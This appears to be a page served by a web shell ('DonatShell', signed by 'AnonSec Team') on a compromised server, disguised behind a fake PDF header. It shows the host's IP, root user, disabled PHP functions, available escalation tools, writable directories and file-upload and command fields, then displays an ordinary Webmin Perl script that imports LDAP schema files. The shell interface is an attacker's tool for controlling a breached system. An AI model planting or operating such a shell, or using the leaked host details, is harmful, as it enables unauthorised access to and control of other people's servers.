%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/ldap-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/ldap-server/import_sfile.cgi
#!/usr/bin/perl
# Import a schema file into the server

require './ldap-server-lib.pl';
&error_setup($text{'import_err'});
&local_ldap_server() == 1 || &error($text{'slapd_elocal'});
$access{'schema'} || &error($text{'schema_ecannot'});
&ReadParse();
&is_under_directory($config{'schema_dir'}, $in{'file'}) ||
	&error($text{'schema_edir'});
&has_command($config{'ldapadd'}) ||
	&error(&text('import_eldapadd', "<tt>$config{'ldapadd'}</tt>"));

# Get login credentials
$user = $config{'user'};
$pass = $config{'pass'};
if (&get_config_type() == 1) {
	my $conf = &get_config();
	$user ||= &find_value("rootdn", $conf);
	$pass ||= &find_value("rootpw", $conf);
	}
else {
	$defdb = &get_default_db();
	$conf = &get_ldif_config();
	$user ||= &find_ldif_value("olcRootDN", $conf, $defdb);
	$pass ||= &find_ldif_value("olcRootPW", $conf, $defdb);
	}
$user || &error($text{'import_euser'});

# Check that there's a corresponding LDIF file
$ldiffile = $in{'file'};
$ldiffile =~ s/\.schema$/.ldif/;
-r $ldiffile ||
	&error(&text('import_eldif', "<tt>".&html_escape($ldiffile)."</tt>"));

# Run the import command
$cmd = $config{'ldapadd'}.
       " -D ".quotemeta($user).
       " -w ".quotemeta($pass).
       " -H ldapi:///".
       " -Y external".
       " -f ".quotemeta($ldiffile);

&ui_print_unbuffered_header(undef, $text{'import_title'}, "");

print &text('import_doing', "<tt>".&html_escape($ldiffile)."</tt>"),"<p>\n";
print "<pre>\n";
&open_execute_command(CMD, $cmd, 2);
while(<CMD>) {
	print &html_escape($_);
	}
close(CMD);
print "</pre>\n";
if ($?) {
	print $text{'import_failed'},"<p>\n";
	}
else {
	print $text{'import_ok'},"<p>\n";
	}

&ui_print_footer("edit_schema.cgi", $text{'schema_return'});

Anon7 - 2022
AnonSec Team